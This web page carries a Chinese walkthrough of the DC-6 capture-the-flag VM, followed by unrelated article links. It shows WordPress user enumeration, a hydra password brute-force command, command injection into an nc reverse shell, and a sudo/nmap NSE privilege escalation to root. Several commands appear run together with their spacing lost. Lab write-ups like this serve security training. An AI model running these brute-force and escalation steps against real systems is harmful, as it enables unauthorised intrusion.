尧图网络 高端网站定制 · 原创设计
免费咨询热线
400-888-6620
免费获取方案
DC-6 靶机全流程攻略
DC-6 靶机攻略扫描靶机目录爆破访问网站http://192.168.200.146/wp-admin/把hosts文件加入192.168.200.146 wordy进入网站进入刚刚目录爆破出的后台页面http://192.168.200.146/wp-admin/用wpscan扫用户名wpscan--urlhttp://wordy--enumerateu用cewl爬网站生成密码cewl http://wordy-wpass.txt爆破但是没爆破出来换一个更大的字典直接跑kali自带的字典hydra-Lusers.txt-P/usr/share/wordlists/rockyou.txt wordy http-post-form/wp-login.php:log^USER^pwd^PASS^wp-submitLog Intestcookie1:SLocation-t20-F这也太久了全部跑完10天往上了查资料发现mark的密码是helpdesk01刚好rockyou字典里有就当爆破出来了登录mark的账号找到可以输入IP的工具试试能不能命令注入确实可以注入反弹shell由于输入框限制了字数改发包Bash不行换nc成功获取伪终端python-cimport pty;pty.spawn(/bin/bash)查看提权点sudo-lfind/-perm-4000-typef2/dev/null查看文件发现在mark家目录里有一个thingtodo文件记录了graham的密码GSo7isUM1D4登录graham账户查看提权点发现graham 可以以 jens 身份无密码执行/home/jens/backups.sh往脚本加入/bin/bash以jens身份跑该脚本sudo-ujens /home/jens/backups.sh查看提权点jens可以以root身份无密码执行nmapnmap 有一个--script参数可以加载外部的 lua 脚本执行可以写一个脚本来获取root shellechoos.execute(/bin/sh)/tmp/root.nsesudonmap--script/tmp/root.nse--script参数只认 .nseNmap Scripting Engine后缀的文件拿到flag
RELATED

相关推荐

WordPress插件开发实战:从零构建Airbnb式短租平台

WordPress插件开发实战:从零构建Airbnb式短租平台

在 WordPress 上构建一个类似 Airbnb 的短租平台,听起来像是一个庞大的工程,但借助 WordPress 强大的插件生态和内容管理能力,这并非遥不可及。许多开发者都曾尝试将复杂的业务逻辑集成到 WordPress 中,但往往卡在如何将房源管理、…

📅 2026/10/28 12:33:06
MHmarkets:从公开信息出发 复盘技术架构与产品理解成本

MHmarkets:从公开信息出发 复盘技术架构与产品理解成本

对新手与注重稳健体验的外汇内容读者而言,“能看懂”往往比“堆概念”更重要。围绕MHmarkets,以下重点写清解释是否通俗、规则是否易查、提示是否前置,以及服务是否具备连续性。在外汇相关服务中,读者最在意的通常是信息是否清楚、…

📅 2026/9/27 12:05:21
C#关于同步方法里面调用异步方法的探究

C#关于同步方法里面调用异步方法的探究

前言 我在写代码的时候(.net core)有时候会碰到void方法里,调用async方法并且Wait,而且我还看到别人这么写了。而且我这么写的时候,编译器没有提示任何警告。但是看了dudu的文章:一码阻塞,万码等待:ASP.NET Core 同步方法调用异步方法“死锁”的真相 了解了,这样写是有…

📅 2026/10/6 19:20:21
MORE NEWS

更多资讯

📰

手写单神经元:用NumPy从零实现前向传播与反向传播

1. 项目概述:从零开始,亲手搭起第一个神经元——不是调库,是真正理解它在“想”什么你有没有试过,在写完model.fit()之后盯着控制台跳动的 loss 值发呆?明明代码跑通了,模型也收敛了,但那个“神…

📰

Cloudflare Workers不是操作系统:破除‘cloudflare-os’认知误区

1. “Cloudflare-OS”不是操作系统,而是开发者对Workers无服务器运行时的戏称与误读最近在多个技术社区和搜索热词里频繁刷到“cloudflare-os”这个词,尤其和“小米澎湃OS”“飞牛OS”“Magic OS”“OpenHarmony OS”等真实操作系统并列出现,…

📰

高并发系统锁竞争优化与华为分布式锁实践

1. 高并发场景下的锁竞争本质剖析在分布式系统架构中,锁机制如同交通信号灯,协调着多个线程或进程对共享资源的访问秩序。当QPS突破5000时,传统的同步锁就会暴露出严重的性能瓶颈。以某电商秒杀系统为例,我们曾监测到单台服务器上…

📰

Python中的二分查找Bisect库使用实战

前言 二分查找(binary search)是算法的入门课,但 Python 标准库已经把它封装好了——bisect 模块。它提供在已排序(升序)序列上做二分定位和插入的函数。很多人第一次用会踩同一个坑:以为 bisect 返回的是「…

📰

银河麒麟系统文件误删恢复实战与防护指南

1. 银河麒麟系统文件误删的常见场景与痛点作为国产操作系统的代表,银河麒麟(Kylin)凭借其安全稳定的特性,在政务、金融、军工等领域广泛应用。但在日常使用中,文件误删问题困扰着不少用户。根据我的运维经验&#xff0…

📰

GESP 2025年3月 原根判断 题解|数论详细讲解

记录一道 GESP 2025年3月 的数论真题。这类题在考试里属于必得分项,核心就那几行代码,关键是别在小细节上丢分。 题目来源:ACGO A62072 | 2025年3月 五级赛事场次:2025年3月 五级 一、题目信息 题目名称:原…

TODAY

今日更新

THIS WEEK

本周精选

THIS MONTH

本月热门

读完文章,想聊聊您的网站?

告诉我们您的行业与需求,资深顾问一对一梳理方案与报价,全程免费。

📞 💬